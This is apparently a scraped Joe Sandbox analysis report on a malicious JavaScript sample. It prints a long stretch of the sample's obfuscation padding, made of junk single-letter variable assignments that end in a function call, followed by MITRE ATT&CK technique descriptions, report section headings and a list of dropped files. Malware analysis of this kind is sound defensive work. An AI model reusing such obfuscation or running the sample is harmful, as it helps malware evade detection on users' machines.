1263	lpnkd = "i";
1264	lpnkd = "V";
1265	lpnkd = "h";
1266	lpnkd = "d";
1267	lpnkd = "F";
1268	lpnkd = "Y";
1269	emzdv = "b";
1270	emzdv = "t";
1271	emzdv = "U";
1272	emzdv = "q";
1273	emzdv = "P";
1274	emzdv = "B";
1275	emzdv = "h";
1276	emzdv = "y";
1277	emzdv = "I";
1278	emzdv = "p";
1279	emzdv = "A";
1280	emzdv = "Z";
1281	emzdv = "c";
1282	emzdv = "J";
1283	emzdv = "V";
1284	emzdv = "H";
1285	emzdv = "k";
1286	emzdv = "F";
1287	emzdv = "F";
1288	emzdv = "G";
1289	emzdv = "r";
1290	emzdv = "V";
1291	emzdv = "z";
1292	emzdv = "1";
1293	ukejgb = "J";
1294	ukejgb = "D";
1295	ukejgb = "z";
1296	ukejgb = "h";
1297	ukejgb = "L";
1298	ukejgb = "K";
1299	ukejgb = "F";
1300	ukejgb = "l";
1301	ukejgb = "V";
1302	ukejgb = "H";
1303	ukejgb = "T";
1304	ukejgb = "u";
1305	ukejgb = "X";
1306	ukejgb = "o";
1307	ukejgb = "i";
1308	ukejgb = "u";
1309	loxia = "s";
1310	loxia = "f";
1311	loxia = "a";
1312	loxia = "c";
1313	loxia = "W";
1314	loxia = "o";
1315	loxia = "c";
1316	loxia = "p";
1317	loxia = "z";
1318	loxia = "O";
1319	loxia = "E";
1320	loxia = "K";
1321	loxia = "U";
1322	loxia = "X";
1323	loxia = "h";
1324	loxia = "c";
1325	loxia = "a";
1326	loxia = "j";
1327	loxia = "E";
1328	loxia = "o";
1329	loxia = "f";
1330	loxia = "P";
1331	loxia = "I";
1332	loxia = "j";
1333	loxia = "M";
1334	loxia = "Z";
1335	loxia = "H";
1336	loxia = "H";
1337	loxia = "g";
1338	loxia = "J";
1339	loxia = "y";
1340	loxia = "y";
1341	loxia = "j";
1342	loxia = "N";
1343	loxia = "z";
1344	loxia = "U";
1345	azidpm = "X";
1346	azidpm = "X";
1347	azidpm = "K";
1348	azidpm = "K";
1349	azidpm = "B";
1350	azidpm = "U";
1351	azidpm = "f";
1352	azidpm = "U";
1353	azidpm = "C";
1354	azidpm = ":";
1355	pjvyupxzx = "W";
1356	pjvyupxzx = "p";
1357	pjvyupxzx = "n";
1358	pjvyupxzx = "y";
1359	pjvyupxzx = "K";
1360	pjvyupxzx = "N";
1361	pjvyupxzx = "o";
1362	pjvyupxzx = "b";
1363	pjvyupxzx = "R";
1364	pjvyupxzx = "F";
1365	pjvyupxzx = "D";
1366	pjvyupxzx = "M";
1367	pjvyupxzx = "R";
1368	pjvyupxzx = "P";
1369	pjvyupxzx = "g";
1370	pjvyupxzx = "P";
1371	pjvyupxzx = "h";
1372	pjvyupxzx = "k";
1373	pjvyupxzx = "Z";
1374	pjvyupxzx = "H";
1375	pjvyupxzx = "T";
1376	pjvyupxzx = "P";
1377	pjvyupxzx = "X";
1378	pjvyupxzx = "X";
1379	pjvyupxzx = "V";
1380	pjvyupxzx = "\\";
1381	oewwc = "T";
1382	oewwc = "P";
1383	oewwc = "d";
1384	oewwc = "A";
1385	oewwc = "M";
1386	oewwc = "J";
1387	oewwc = "v";
1388	oewwc = "o";
1389	oewwc = "j";
1390	oewwc = "J";
1391	oewwc = "W";
1392	oewwc = "c";
1393	oewwc = "Z";
1394	oewwc = "X";
1395	oewwc = "f";
1396	oewwc = "r";
1397	oewwc = "z";
1398	oewwc = "Y";
1399	oewwc = "Q";
1400	oewwc = "M";
1401	oewwc = "Z";
1402	oewwc = "L";
1403	oewwc = "d";
1404	oewwc = ".";
1405	pqydujf = "b";
1406	pqydujf = "B";
1407	pqydujf = "R";
1408	pqydujf = "F";
1409	pqydujf = "M";
1410	pqydujf = "S";
1411	pqydujf = "R";
1412	pqydujf = "s";
1413	pqydujf = "N";
1414	pqydujf = "x";
1415	pqydujf = "g";
1416	pqydujf = "f";
1417	pqydujf = "D";
1418	pqydujf = "g";
1419	pqydujf = "q";
1420	pqydujf = "W";
1421	pqydujf = "P";
1422	pqydujf = "Y";
1423	pqydujf = "B";
1424	pqydujf = "O";
1425	pqydujf = "d";
1426	pqydujf = "K";
1427	pqydujf = "U";
1428	pqydujf = "R";
1429	pqydujf = "Y";
1430	pqydujf = "E";
1431	pqydujf = "R";
1432	pqydujf = "U";
1433	pqydujf = "K";
1434	pqydujf = "g";
1435	pqydujf = "O";
1436	pqydujf = "I";
1437	mdrcxf = "k";
1438	mdrcxf = "I";
1439	mdrcxf = "a";
1440	mdrcxf = "a";
1441	mdrcxf = "c";
1442	mdrcxf = "F";
1443	mdrcxf = "V";
1444	mdrcxf = "x";
1445	mdrcxf = "P";
1446	mdrcxf = "o";
1447	mdrcxf = "x";
1448	mdrcxf = "h";
1449	mdrcxf = "h";
1450	mdrcxf = "y";
1451	mdrcxf = "f";
1452	mdrcxf = "o";
1453	mdrcxf = "X";
1454	mdrcxf = "N";
1455	mdrcxf = "y";
1456	mdrcxf = "g";
1457	mdrcxf = "h";
1458	mdrcxf = "G";
1459	mdrcxf = "P";
1460	mdrcxf = "t";
1461	mdrcxf = "a";
1462	mdrcxf = "c";
1463	mdrcxf = "j";
1464	mdrcxf = "V";
1465	mdrcxf = "O";
1466	mdrcxf = "J";
1467	mdrcxf = "V";
1468	mdrcxf = "N";
1469	mdrcxf = "R";
1470	mdrcxf = "n";
1471	mdrcxf = "W";
1472	mdrcxf = "r";
1473	mdrcxf = " ";
1474	swhpcofej = "m";
1475	swhpcofej = "y";
1476	swhpcofej = "p";
1477	swhpcofej = "F";
1478	swhpcofej = "k";
1479	swhpcofej = "D";
1480	swhpcofej = "Q";
1481	swhpcofej = "z";
1482	swhpcofej = "y";
1483	swhpcofej = "S";
1484	swhpcofej = "t";
1485	swhpcofej = "t";
1486	swhpcofej = "Q";
1487	cfieqo = "R";
1488	cfieqo = "m";
1489	cfieqo = "l";
1490	cfieqo = "b";
1491	cfieqo = "n";
1492	cfieqo = "q";
1493	cfieqo = "Y";
1494	cfieqo = "B";
1495	cfieqo = "U";
1496	cfieqo = "K";
1497	cfieqo = "M";
1498	cfieqo = "U";
1499	cfieqo = "r";
1500	cfieqo = "b";
1501	cfieqo = "U";
1502	cfieqo = "r";
1503	cfieqo = "X";
1504	cfieqo = "I";
1505	cfieqo = "J";
1506	cfieqo = "d";
1507	cfieqo = "K";
1508	cfieqo = "N";
1509	cfieqo = "R";
1510	cfieqo = "B";
1511	cfieqo = "B";
1512	cfieqo = "G";
1513	cfieqo = "L";
1514	cfieqo = "x";
1515	cfieqo = "J";
1516	cfieqo = "n";
1517	cfieqo = "h";
1518	cfieqo = "p";
1519	cfieqo = "H";
1520	cfieqo = "c";
1521	cfieqo = "X";
1522	cfieqo = "f";
1523	cfieqo = "e";
1524	nxgja = "J";
1525	nxgja = "D";
1526	nxgja = "u";
1527	nxgja = "o";
1528	nxgja = "W";
1529	nxgja = "p";
1530	nxgja = "p";
1531	nxgja = "b";
1532	nxgja = "C";
1533	nxgja = "j";
1534	nxgja = "B";
1535	nxgja = "Y";
1536	nxgja = "j";
1537	nxgja = "I";
1538	nxgja = "S";
1539	nxgja = "E";
1540	nxgja = "H";
1541	nxgja = "q";
1542	nxgja = "t";
1543	nxgja = "n";
1544	nxgja = "w";
1545	nxgja = "L";
1546	nxgja = "e";
1547	nxgja = "s";
1548	nxgja = "q";
1549	nxgja = "t";
1550	zfydqoxtf = "q";
1551	zfydqoxtf = "G";
1552	zfydqoxtf = "T";
1553	zfydqoxtf = "i";
1554	zfydqoxtf = "M";
1555	zfydqoxtf = "g";
1556	zfydqoxtf = "Y";
1557	zfydqoxtf = "c";
1558	zfydqoxtf = "D";
1559	zfydqoxtf = "z";
1560	zfydqoxtf = "D";
1561	zfydqoxtf = "g";
1562	zfydqoxtf = "V";
1563	zfydqoxtf = "T";
1564	zfydqoxtf = "X";
1565	zfydqoxtf = "m";
1566	zfydqoxtf = "O";
1567	zfydqoxtf = "H";
1568	zfydqoxtf = "V";
1569	zfydqoxtf = "y";
1570	zfydqoxtf = "l";
1571	zfydqoxtf = "u";
1572	zfydqoxtf = "Y";
1573	zfydqoxtf = "O";
1574	zfydqoxtf = "B";
1575	zfydqoxtf = "j";
1576	zfydqoxtf = "f";
1577	zfydqoxtf = "u";
1578	zfydqoxtf = "Q";
1579	zfydqoxtf = "i";
1580	zfydqoxtf = "R";
1581	zfydqoxtf = "h";
1582	zfydqoxtf = "e";
1583	zfydqoxtf = "O";
1584	zfydqoxtf = "t";
1585	zfydqoxtf = "W";
1586	zfydqoxtf = "g";
1587	zfydqoxtf = "L";
1588	zfydqoxtf = "Z";
1589	zfydqoxtf = "-";
1590	yysty = "g";
1591	yysty = "Q";
1592	yysty = "L";
1593	yysty = "N";
1594	yysty = "I";
1595	yysty = "l";
1596	yysty = "F";
1597	yysty = "e";
1598	yysty = "6";
1599	otrovnx = "m";
1600	otrovnx = "X";
1601	otrovnx = "E";
1602	otrovnx = "O";
1603	otrovnx = "z";
1604	otrovnx = "n";
1605	otrovnx = "v";
1606	otrovnx = "L";
1607	otrovnx = "v";
1608	otrovnx = "U";
1609	otrovnx = "C";
1610	otrovnx = "x";
1611	otrovnx = "Y";
1612	otrovnx = "S";
1613	otrovnx = "M";
1614	otrovnx = "l";
1615	otrovnx = "s";
1616	otrovnx = "A";
1617	otrovnx = "W";
1618	otrovnx = "X";
1619	otrovnx = "b";
1620	amnnv = "y";
1621	amnnv = "j";
1622	tuewgizu ( );	tuewgizu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3244127882174020209.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0d126ba2-753f-453f-9af0-2f4408c46b4a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\339dab99-db1c-4e95-a96a-9cdaa5cc2633.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6f8ce2.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
3244127882174020209.js